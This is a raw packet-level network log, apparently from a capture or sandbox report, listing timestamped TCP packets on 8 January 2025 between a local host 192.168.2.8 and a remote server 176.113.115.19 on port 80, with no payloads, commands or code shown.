Jan 8, 2025 09:42:32.129225016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129239082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129251003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129252911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129252911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129286051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129297018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129326105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129339933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129352093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129365921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129379988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129381895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129381895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129393101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129405975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129415989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129415989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129432917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129435062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129448891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129462957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129472017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129506111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129507065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129507065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129519939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129532099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129544973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129545927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129565001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129571915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129585028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129596949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129610062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129611015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129611015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129622936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129642010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129650116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129661083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129673958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129681110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129681110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129684925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129720926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129740953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129748106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129760981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129771948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129785061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129796028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129796028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129811049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129812002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129825115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129853010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129864931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129864931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129889965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129894018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129903078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129913092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129916906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129930019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129930973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129941940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129946947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129956961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.129961014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129992962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.129992962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.155769110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155803919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155817032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155859947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155870914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155884981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155899048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.155906916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.155932903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.155963898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218286037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218301058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218312979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218342066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218354940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218367100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218384027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218403101 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218446016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218468904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218487024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218501091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218513012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218519926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218525887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218542099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218559980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218563080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218579054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218588114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218588114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218594074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218630075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218630075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218638897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218655109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218667030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218679905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218688965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218693018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218713045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218713045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218720913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218734026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218755007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218756914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218777895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218786001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218802929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218802929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218816996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218820095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218830109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218836069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218846083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218854904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218878984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218888044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218902111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218911886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218926907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218929052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218943119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218945980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218961000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218974113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218986034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.218993902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.218993902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219007015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219027996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219038963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219044924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219058037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219072104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219079971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219094038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219106913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219108105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219122887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219124079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219161987 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219161987 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219182968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219194889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219208002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219222069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219228029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219261885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219261885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219317913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219330072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219341040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219352961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219364882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219371080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219377995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219391108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219394922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219403982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219424009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219424009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219471931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219479084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219491959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219502926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219515085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219527960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219532967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219532967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219548941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219578981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219583035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219590902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219603062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219624996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219630003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219635963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219643116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219646931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219655991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219676971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219676971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219679117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219695091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219708920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219719887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219719887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219721079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219748020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219768047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219778061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219778061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219779015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219790936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219804049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219816923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219819069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219830990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219860077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219871044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219875097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219891071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219892025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219907045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219927073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219944954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219958067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.219959974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219997883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.219997883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220043898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220057011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220077991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220091105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220101118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220101118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220102072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220114946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220133066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220133066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220196962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220197916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220211029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220223904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220236063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220242023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220248938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220248938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220266104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220287085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220299006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220299959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220310926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220315933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220335007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220350027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220359087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220359087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220360994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220391035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220391989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220405102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220417023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.220432043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220432043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.220454931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.246475935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246488094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246500969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246522903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246535063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246551037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246551037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.246565104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.246582031 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.246637106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.308769941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308783054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308806896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308819056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308830976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308845043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308871984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308892965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308912039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308924913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308978081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.308990002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309009075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309025049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309045076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309070110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309072018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309082985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309096098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309144020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309151888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309164047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309176922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309197903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309206963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309211969 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309221029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309233904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309253931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309253931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309262037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309273958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309279919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309281111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309288979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309309006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309309959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309351921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309360981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309365034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309377909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309391975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309401989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309401989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309403896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309417963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309442043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309483051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309487104 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309495926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309508085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309520006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309533119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309537888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309546947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309571028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309571028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309591055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309637070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309649944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309660912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309674025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309684038 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309688091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309700012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309705019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309740067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309740067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.309782982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309797049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.309814930 CET	80	49708	176.113.115.19	192.168.2.8
